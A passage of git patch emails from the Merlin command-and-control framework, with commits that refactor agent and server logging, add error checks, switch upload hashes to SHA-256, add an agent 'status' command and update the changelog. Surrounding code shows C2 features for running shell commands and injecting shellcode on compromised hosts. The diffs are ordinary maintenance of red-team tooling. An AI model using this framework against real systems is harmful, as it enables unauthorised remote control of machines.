%s:\r\n%s", agentsDir, err.Error())) + } } if _, err := os.Stat(filepath.Join(agentsDir, j.ID.String())); os.IsNotExist(err) { - os.Mkdir(filepath.Join(agentsDir, j.ID.String()), os.ModeDir) - os.Create(filepath.Join(agentsDir, j.ID.String(), "agent_log.txt")) + errM := os.Mkdir(filepath.Join(agentsDir, j.ID.String()), os.ModeDir) + if errM != nil { + message("warn", fmt.Sprintf("There was an error creating a directory for agent %s:\r\n%s", j.ID.String(), err.Error())) + } + + _, errC := os.Create(filepath.Join(agentsDir, j.ID.String(), "agent_log.txt")) + if errC != nil { + message("warn", fmt.Sprintf("There was an error creating the agent_log.txt file for agnet %s:\r\n%s", j.ID.String(), err.Error())) + } if core.Verbose { message("note", fmt.Sprintf("Created agent log file at: %s agent_log.txt", @@ -150,23 +159,20 @@ func InitialCheckIn(j messages.Base) { HostName: sysInfo.HostName, Pid: sysInfo.Pid, channel: make(chan []Job, 10), agentLog: f, InitialCheckIn: time.Now().UTC(), StatusCheckIn: time.Now().UTC()} - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Initial check in for agent %s\r\n", time.Now().UTC().Format(time.RFC3339), j.ID)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent Version: %s\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.Version)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent Build: %s\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.Build)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]WaitTime: %s\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.WaitTime)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]PaddingMax: %d\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.PaddingMax)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]MaxRetry: %d\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.MaxRetry)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]FailedCheckin: %d\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.FailedCheckin)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Skew: %d\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.Skew)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Proto: %s\r\n", time.Now().UTC().Format(time.RFC3339), agentInfo.Proto)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Platform: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Platform)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Platform: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Platform)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Architecture: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Architecture)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]HostName: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.HostName)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]UserName: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.UserName)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]UserGUID: %s\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.UserGUID)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Process ID: %d\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Pid)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]IPs: %v\r\n", time.Now().UTC().Format(time.RFC3339), sysInfo.Ips)) + Log(j.ID, fmt.Sprintf("Initial check in for agent %s", agentInfo.Build)) + Log(j.ID, fmt.Sprintf("WaitTime: %s", agentInfo.WaitTime)) + Log(j.ID, fmt.Sprintf("PaddingMax: %d", agentInfo.PaddingMax)) + Log(j.ID, fmt.Sprintf("MaxRetry: %d", agentInfo.MaxRetry)) + Log(j.ID, fmt.Sprintf("FailedCheckin: %d", agentInfo.FailedCheckin)) + Log(j.ID, fmt.Sprintf("Skew: %d", agentInfo.Skew)) + Log(j.ID, fmt.Sprintf("Proto: %s", agentInfo.Proto)) + Log(j.ID, fmt.Sprintf("Platform: %s", sysInfo.Platform)) + Log(j.ID, fmt.Sprintf("Architecture: %s", sysInfo.Architecture)) + Log(j.ID, fmt.Sprintf("HostName: %s", sysInfo.HostName)) + Log(j.ID, fmt.Sprintf("UserName: %s", sysInfo.UserName)) + Log(j.ID, fmt.Sprintf("UserGUID: %s", sysInfo.UserGUID)) + Log(j.ID, fmt.Sprintf("Process ID: %s", sysInfo.Pid)) + Log(j.ID, fmt.Sprintf("IPs: %v", sysInfo.Ips)) } // StatusCheckIn is the function that is run when an agent sends a message back to server, checking in for additional instructions @@ -186,7 +192,7 @@ func StatusCheckIn(j messages.Base) (messages.Base, error) { return m, mErr } - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent status check in\r\n", time.Now().UTC().Format(time.RFC3339))) + Log(j.ID, "Agent status check in") if core.Verbose { message("success", fmt.Sprintf("Received agent status checkin from %s", j.ID)) } @@ -245,15 +251,15 @@ func UpdateInfo(j messages.Base, p messages.AgentInfo) { message("debug", fmt.Sprintf("Agent failedCheckin: %d", p.FailedCheckin)) message("debug", fmt.Sprintf("Agent proto: %s", p.Proto)) } - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("Processing AgentInfo message:\r\n")) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent Version: %s \r\n", p.Version)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent Build: %s \r\n", p.Build)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent waitTime: %s \r\n", p.WaitTime)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent skew: %d \r\n", p.Skew)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent paddingMax: %d \r\n", p.PaddingMax)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent maxRetry: %d \r\n", p.MaxRetry)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent failedCheckin: %d \r\n", p.FailedCheckin)) - Agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent proto: %s \r\n", p.Proto)) + Log(j.ID, fmt.Sprintf("Processing AgentInfo message:")) + Log(j.ID, fmt.Sprintf("\tAgent Version: %s ", p.Version)) + Log(j.ID, fmt.Sprintf("\tAgent Build: %s ", p.Build)) + Log(j.ID, fmt.Sprintf("\tAgent waitTime: %s ", p.WaitTime)) + Log(j.ID, fmt.Sprintf("\tAgent skew: %d ", p.Skew)) + Log(j.ID, fmt.Sprintf("\tAgent paddingMax: %d ", p.PaddingMax)) + Log(j.ID, fmt.Sprintf("\tAgent maxRetry: %d ", p.MaxRetry)) + Log(j.ID, fmt.Sprintf("\tAgent failedCheckin: %d ", p.FailedCheckin)) + Log(j.ID, fmt.Sprintf("\tAgent proto: %s ", p.Proto)) Agents[j.ID].Version = p.Version Agents[j.ID].Build = p.Build @@ -267,7 +273,10 @@ func UpdateInfo(j messages.Base, p messages.AgentInfo) { // Log is used to write log messages to the agent's log file func Log(agentID uuid.UUID, logMessage string) { - Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]%s\r\n", time.Now().UTC().Format(time.RFC3339), logMessage)) + _, err := Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]%s\r\n", time.Now().UTC().Format(time.RFC3339), logMessage)) + if err != nil { + message("warn", fmt.Sprintf("There was an error writing to the agent log agents.Log:\r\n%s", err.Error())) + } } // GetAgentList returns a list of agents that exist and is used for command line tab completion @@ -368,16 +377,22 @@ func AddJob(agentID uuid.UUID, jobType string, jobArgs []string) (string, error) s := Agents[k].channel job.ID = core.RandStringBytesMaskImprSrc(10) s <- []Job{job} - Agents[k].agentLog.WriteString(fmt.Sprintf("[%s]Created job Type:%s, ID:%s, Status:%s, "+ - "Args:%s \r\n", time.Now().UTC().Format(time.RFC3339), job.Type, job.ID, job.Status, job.Args)) + Log(k, fmt.Sprintf("Created job Type:%s, ID:%s, Status:%s, Args:%s", + job.Type, + job.ID, + job.Status, + job.Args)) } return job.ID, nil } job.ID = core.RandStringBytesMaskImprSrc(10) s := Agents[agentID].channel s <- []Job{job} - Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]Created job Type:%s, ID:%s, Status:%s, "+ - "Args:%s \r\n", time.Now().UTC().Format(time.RFC3339), job.Type, job.ID, job.Status, job.Args)) + Log(agentID, fmt.Sprintf("Created job Type:%s, ID:%s, Status:%s, Args:%s", + job.Type, + job.ID, + job.Status, + job.Args)) return job.ID, nil } return "", errors.New("invalid agent ID") @@ -426,9 +441,7 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { m.Payload = (*json.RawMessage)(&k) case "download": m.Type = "FileTransfer" - Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]Downloading file from agent at %s\n", - time.Now().UTC().Format(time.RFC3339), - job.Args[0])) + Log(agentID, fmt.Sprintf("Downloading file from agent at %s\n", job.Args[0])) p := messages.FileTransfer{ FileLocation: job.Args[0], @@ -518,11 +531,12 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { // TODO send "ServerOK" return m, fmt.Errorf("there was an error reading %s: %v", job.Type, uploadFileErr) } - fileHash := sha1.New() - io.WriteString(fileHash, string(uploadFile)) - Agents[agentID].agentLog.WriteString(fmt.Sprintf("[%s]Uploading file from server at %s of size %d"+ - " bytes and SHA-1: %x to agent at %s\r\n", - time.Now().UTC().Format(time.RFC3339), + fileHash := sha256.New() + _, err := io.WriteString(fileHash, string(uploadFile)) + if err != nil { + message("warn", fmt.Sprintf("There was an error generating file hash:\r\n%s", err.Error())) + } + Log(agentID, fmt.Sprintf("Uploading file from server at %s of size %d bytes and SHA-256: %x to agent at %s", job.Args[0], len(uploadFile), fileHash.Sum(nil), From f3796a7c2b76a4806f0a41fcc0ef1d79d0fb6405 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 22 Jan 2019 22:47:46 -0500 Subject: [PATCH 012/112] Updated CHANGELOG --- docs/CHANGELOG.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 622ee203..02456296 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,7 +4,7 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). -## 0.6.7 - 2019-01-XX +## 0.6.7 - 2019-01-22 ### Added - [Pull 45](https://github.com/Ne0nd0g/merlin/pull/45) - Added a module for Python-based SOCKS proxying (@klusitc) From 2c447647b3ac906efb09b861dd4c4f0baa4d6442 Mon Sep 17 00:00:00 2001 From: Russel Van Tuyl Date: Wed, 23 Jan 2019 10:42:38 -0500 Subject: [PATCH 013/112] Update to correct RFC number & included link --- docs/CHANGELOG.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 02456296..f8ddb2f7 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -11,7 +11,7 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. ### Changed - Modified http2.go to remove `[+]` & `[!]` from shell command results printed to the terminal -- Modified agents.go so the log files and agent info contain time in RFC13999 compliant UTC +- Modified agents.go so the log files and agent info contain time in [RFC 3339](https://tools.ietf.org/html/rfc3339) compliant UTC - Replaced SHA-1 hash with SHA-256 in log file when using upload command - Updated agents.go with missing error checking From 4e486d376d68b2e6ddad82770a90b86b710435bb Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Thu, 24 Jan 2019 21:02:28 -0500 Subject: [PATCH 014/112] Added status command to agent menu --- docs/CHANGELOG.MD | 5 +++++ pkg/cli/cli.go | 13 +++++++++++++ pkg/merlin.go | 2 +- 3 files changed, 19 insertions(+), 1 deletion(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index f8ddb2f7..941f7588 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,6 +4,11 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 0.6.8 - 2019-01-22 + +### Added +- The `status` command while in the agent menu to see if agent is Active, Delayed, or Dead + ## 0.6.7 - 2019-01-22 ### Added diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index fcaf814d..f5a496e8 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -425,6 +425,17 @@ func Shell() { message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) } } + case "status": + status := agents.GetAgentStatus(shellAgent) + if status == "Active" { + color.Green("Active") + } else if status == "Delayed" { + color.Yellow("Delayed") + } else if status == "Dead" { + color.Red("Dead") + } else { + color.Blue(status) + } case "upload": if len(cmd) >= 3 { arg := strings.Join(cmd[1:], " ") @@ -633,6 +644,7 @@ func getCompleter(completer string) *readline.PrefixCompleter { readline.PcItem("skew"), readline.PcItem("sleep"), ), + readline.PcItem("status"), readline.PcItem("upload"), ) @@ -720,6 +732,7 @@ func menuHelpAgent() { {"main", "Return to the main menu", ""}, {"set", "Set the value for one of the agent's options", "maxretry, padding, skew, sleep"}, {"shell", "Execute a command on the agent", "shell ping -c 3 8.8.8.8"}, + {"status", "Print the current status of the agent", ""}, {"upload", "Upload a file to the agent", "upload "}, } diff --git a/pkg/merlin.go b/pkg/merlin.go index cf860a8d..fd569840 100644 --- a/pkg/merlin.go +++ b/pkg/merlin.go @@ -18,7 +18,7 @@ package merlin // Version is a constant variable containing the version number for the Merlin package -const Version = "0.6.7.BETA" +const Version = "0.6.8.BETA" // Build is the unique number based off the git commit in which it is compiled against var Build = "nonRelease" From 964680fed01d7b872c2e5d20e7e8313a54bc02eb Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Thu, 24 Jan 2019 21:34:23 -0500 Subject: [PATCH 015/112] Added UTC timestamp to CLI messages --- docs/CHANGELOG.MD | 1 + pkg/agents/agents.go | 5 +++-- pkg/cli/cli.go | 46 +++++++++++++++++++++++++------------- pkg/servers/http2/http2.go | 2 +- 4 files changed, 35 insertions(+), 19 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 941f7588..a0a9cbc8 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -8,6 +8,7 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. ### Added - The `status` command while in the agent menu to see if agent is Active, Delayed, or Dead +- Messages printed to the CLI now include a UTC timestamp ## 0.6.7 - 2019-01-22 diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index f9f1f210..73ff7226 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -79,7 +79,7 @@ func InitialCheckIn(j messages.Base) { message("debug", fmt.Sprintf("Base Message Type: %s", j.Type)) message("debug", fmt.Sprintf("Base Message Payload: %s", j.Payload)) } - message("success", fmt.Sprintf("Received new agent checkin from %s", j.ID)) + message("success", fmt.Sprintf("Received new agent checkin from %s at %s", j.ID, time.Now().UTC().Format(time.RFC3339))) // Unmarshal AgentInfo from Base var agentInfo messages.AgentInfo @@ -180,7 +180,8 @@ func StatusCheckIn(j messages.Base) (messages.Base, error) { // Check to make sure agent UUID is in dataset _, ok := Agents[j.ID] if !ok { - message("warn", fmt.Sprintf("Orphaned agent %s has checked in. Instructing agent to re-initialize...", j.ID.String())) + message("warn", fmt.Sprintf("Orphaned agent %s has checked in at %s. Instructing agent to re-initialize...", + time.Now().UTC().Format(time.RFC3339), j.ID.String())) logging.Server(fmt.Sprintf("[Orphaned agent %s has checked in", j.ID.String())) job := Job{ ID: core.RandStringBytesMaskImprSrc(10), diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index f5a496e8..a2fe76c4 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -182,7 +182,8 @@ func Shell() { if err != nil { message("warn", err.Error()) } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellModule.Agent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellModule.Agent, time.Now().UTC().Format(time.RFC3339))) } } case "back": @@ -216,7 +217,8 @@ func Shell() { if err != nil { message("warn", err.Error()) } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } case "download": @@ -233,7 +235,8 @@ func Shell() { message("warn", err.Error()) break } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } } else { @@ -323,7 +326,8 @@ func Shell() { message("warn", err.Error()) break } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } case "remote": m, err := agents.AddJob(shellAgent, "shellcode", []string{"remote", cmd[2], b64}) @@ -331,7 +335,8 @@ func Shell() { message("warn", err.Error()) break } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } case "rtlcreateuserthread": m, err := agents.AddJob(shellAgent, "shellcode", []string{"rtlcreateuserthread", cmd[2], b64}) @@ -339,7 +344,8 @@ func Shell() { message("warn", err.Error()) break } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } case "userapc": m, err := agents.AddJob(shellAgent, "shellcode", []string{"userapc", cmd[2], b64}) @@ -347,7 +353,8 @@ func Shell() { message("warn", err.Error()) break } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } default: message("warn", fmt.Sprintf("Invalid shellcode execution method: %s", cmd[1])) @@ -368,7 +375,8 @@ func Shell() { if err != nil { message("warn", err.Error()) } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } case "main": @@ -384,7 +392,8 @@ func Shell() { if err != nil { message("warn", err.Error()) } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } case "padding": @@ -393,7 +402,8 @@ func Shell() { if err != nil { message("warn", err.Error()) } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } case "sleep": @@ -402,7 +412,8 @@ func Shell() { if err != nil { message("warn", err.Error()) } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } case "skew": @@ -411,7 +422,8 @@ func Shell() { if err != nil { message("warn", err.Error()) } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } } @@ -422,7 +434,8 @@ func Shell() { if err != nil { message("warn", err.Error()) } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } case "status": @@ -455,7 +468,8 @@ func Shell() { message("warn", err.Error()) break } else { - message("note", fmt.Sprintf("Created job %s for agent %s", m, shellAgent)) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } } else { @@ -536,7 +550,8 @@ func menuAgent(cmd []string) { if errRemove != nil { message("warn", fmt.Sprintf("%s", errRemove.Error())) } else { - message("info", fmt.Sprintf("Agent %s was removed from the server", cmd[1])) + message("info", fmt.Sprintf("Agent %s was removed from the server at %s", + cmd[1], time.Now().UTC().Format(time.RFC3339))) } } } @@ -658,7 +673,6 @@ func getCompleter(completer string) *readline.PrefixCompleter { default: return main } - return main } func menuHelpMain() { diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 03a10d92..64116f51 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -259,7 +259,7 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { json.Unmarshal(payload, &p) agents.Log(j.ID, fmt.Sprintf("Results for job: %s", p.Job)) - message("success", fmt.Sprintf("Results for job %s", p.Job)) + message("success", fmt.Sprintf("Results for job %s at %s", p.Job, time.Now().UTC().Format(time.RFC3339))) if len(p.Stdout) > 0 { agents.Log(j.ID, fmt.Sprintf("Command Results (stdout):\r\n%s", p.Stdout)) color.Green(fmt.Sprintf("%s", p.Stdout)) From 3c623190de1991d659b8358a50dc710ad1e78dfa Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Thu, 24 Jan 2019 22:04:02 -0500 Subject: [PATCH 016/112] Fixed and enriched Merlin Server logging --- cmd/merlinserver/main.go | 7 +++++-- docs/CHANGELOG.MD | 6 ++++++ pkg/agents/agents.go | 1 + pkg/cli/cli.go | 4 ++-- pkg/logging/logging.go | 15 ++++++++++++--- pkg/servers/http2/http2.go | 3 +-- 6 files changed, 27 insertions(+), 9 deletions(-) diff --git a/cmd/merlinserver/main.go b/cmd/merlinserver/main.go index a0287ab8..16bca323 100644 --- a/cmd/merlinserver/main.go +++ b/cmd/merlinserver/main.go @@ -38,7 +38,7 @@ import ( var build = "nonRelease" func main() { - logging.Server("Starting Merlin Server") + logging.Server("Starting Merlin Server version " + merlin.Version + " build " + merlin.Build) flag.BoolVar(&core.Verbose, "v", false, "Enable verbose output") flag.BoolVar(&core.Debug, "debug", false, "Enable debug output") @@ -71,7 +71,10 @@ func main() { if err != nil { color.Red(err.Error()) } else { - server.Run() + err := server.Run() + if err != nil { + color.Red("[!]There was an error starting the server") + } } } diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index a0a9cbc8..7b3a3668 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -9,6 +9,12 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. ### Added - The `status` command while in the agent menu to see if agent is Active, Delayed, or Dead - Messages printed to the CLI now include a UTC timestamp +- Added Merlin version number and new agent checkins to Merlin Server log file + +### Fixed +- Formatting error placing time stamp and message in wrong spot in the Merlin Server log file +- Error checking in logging.go +- Server shutdown was not actually being logged ## 0.6.7 - 2019-01-22 diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 73ff7226..08e06d9d 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -79,6 +79,7 @@ func InitialCheckIn(j messages.Base) { message("debug", fmt.Sprintf("Base Message Type: %s", j.Type)) message("debug", fmt.Sprintf("Base Message Payload: %s", j.Payload)) } + logging.Server(fmt.Sprintf("Received new agent checkin from %s", j.ID)) message("success", fmt.Sprintf("Received new agent checkin from %s at %s", j.ID, time.Now().UTC().Format(time.RFC3339))) // Unmarshal AgentInfo from Base diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index a2fe76c4..fb0ffd05 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -43,11 +43,11 @@ import ( "github.com/Ne0nd0g/merlin/pkg/agents" "github.com/Ne0nd0g/merlin/pkg/banner" "github.com/Ne0nd0g/merlin/pkg/core" + "github.com/Ne0nd0g/merlin/pkg/logging" "github.com/Ne0nd0g/merlin/pkg/modules" ) // Global Variables -var serverLog *os.File var shellModule modules.Module var shellAgent uuid.UUID var prompt *readline.Instance @@ -786,7 +786,7 @@ func message(level string, message string) { func exit() { color.Red("[!]Quitting") - serverLog.WriteString(fmt.Sprintf("[%s]Shutting down Merlin Server due to user input", time.Now())) + logging.Server("Shutting down Merlin Server due to user input") os.Exit(0) } diff --git a/pkg/logging/logging.go b/pkg/logging/logging.go index 74640f3d..297c4dc1 100644 --- a/pkg/logging/logging.go +++ b/pkg/logging/logging.go @@ -37,8 +37,14 @@ func init() { // Server Logging if _, err := os.Stat(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt")); os.IsNotExist(err) { - os.Mkdir(filepath.Join(core.CurrentDir, "data", "log"), os.ModeDir) - os.Create(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt")) + errM := os.Mkdir(filepath.Join(core.CurrentDir, "data", "log"), os.ModeDir) + if errM != nil { + message("warn", "There was an error creating the log directory") + } + _, errC := os.Create(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt")) + if errC != nil { + message("warn", "[!]There was an error creating the merlinServerLog.txt file") + } if core.Debug { message("debug", fmt.Sprintf("Created server log file at: %s\\data\\log\\merlinServerLog.txt", core.CurrentDir)) } @@ -53,7 +59,10 @@ func init() { // Server writes a log entry into the server's log file func Server(logMessage string) { - serverLog.WriteString(fmt.Sprintf("[%s]%s\r\n", logMessage, time.Now())) + _, err := serverLog.WriteString(fmt.Sprintf("[%s]%s\r\n", time.Now().UTC().Format(time.RFC3339), logMessage)) + if err != nil { + message("warn", "There was an error writing to the Merlin Server log file") + } } // Message is used to print a message to the command line diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 64116f51..671066f1 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -169,8 +169,7 @@ func New(iface string, port int, protocol string, key string, certificate string // Run function starts the server on the preconfigured port for the preconfigured service func (s *Server) Run() error { - logging.Server(fmt.Sprintf("Starting %s Listener", s.Protocol)) - logging.Server(fmt.Sprintf("Address: %s:%d/", s.Interface, s.Port)) + logging.Server(fmt.Sprintf("Starting %s Listener at %s:%d", s.Protocol, s.Interface, s.Port)) logging.Server(fmt.Sprintf("x.509 Certificate %s", s.Certificate)) logging.Server(fmt.Sprintf("x.509 Key %s", s.Key)) From 46aed0f192d766dc6c6754688f2c174470dbf425 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Thu, 24 Jan 2019 22:31:45 -0500 Subject: [PATCH 017/112] Fixed more logging --- pkg/agents/agents.go | 2 +- pkg/servers/http2/http2.go | 5 ++--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 08e06d9d..a4fe54cc 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -172,7 +172,7 @@ func InitialCheckIn(j messages.Base) { Log(j.ID, fmt.Sprintf("HostName: %s", sysInfo.HostName)) Log(j.ID, fmt.Sprintf("UserName: %s", sysInfo.UserName)) Log(j.ID, fmt.Sprintf("UserGUID: %s", sysInfo.UserGUID)) - Log(j.ID, fmt.Sprintf("Process ID: %s", sysInfo.Pid)) + Log(j.ID, fmt.Sprintf("Process ID: %d", sysInfo.Pid)) Log(j.ID, fmt.Sprintf("IPs: %v", sysInfo.Ips)) } diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 671066f1..ef56b6aa 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -28,7 +28,6 @@ import ( "encoding/pem" "fmt" "io/ioutil" - "log" "net/http" "os" "path/filepath" @@ -179,12 +178,12 @@ func (s *Server) Run() error { if s.Protocol == "h2" { server := s.Server.(*http.Server) defer server.Close() - go log.Print(server.ListenAndServeTLS(s.Certificate, s.Key)) + go logging.Server(server.ListenAndServeTLS(s.Certificate, s.Key).Error()) return nil } else if s.Protocol == "hq" { server := s.Server.(*h2quic.Server) defer server.Close() - go log.Print(server.ListenAndServeTLS(s.Certificate, s.Key)) + go logging.Server(server.ListenAndServeTLS(s.Certificate, s.Key).Error()) return nil } return fmt.Errorf("%s is an invalid server protocol", s.Protocol) From 53d4a330b7931e176691f1ed3b3589964979a8af Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 26 Jan 2019 15:46:02 -0500 Subject: [PATCH 018/112] Updated version number in changelog --- docs/CHANGELOG.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 7b3a3668..07903ee4 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,7 +4,7 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). -## 0.6.8 - 2019-01-22 +## 0.6.8 - 2019-01-26 ### Added - The `status` command while in the agent menu to see if agent is Active, Delayed, or Dead From 58a09d0d517b0faba1926dd98d60eb6392af31a6 Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sun, 27 Jan 2019 16:48:15 +0800 Subject: [PATCH 019/112] add initial agent tests --- pkg/agent/agent_test.go | 137 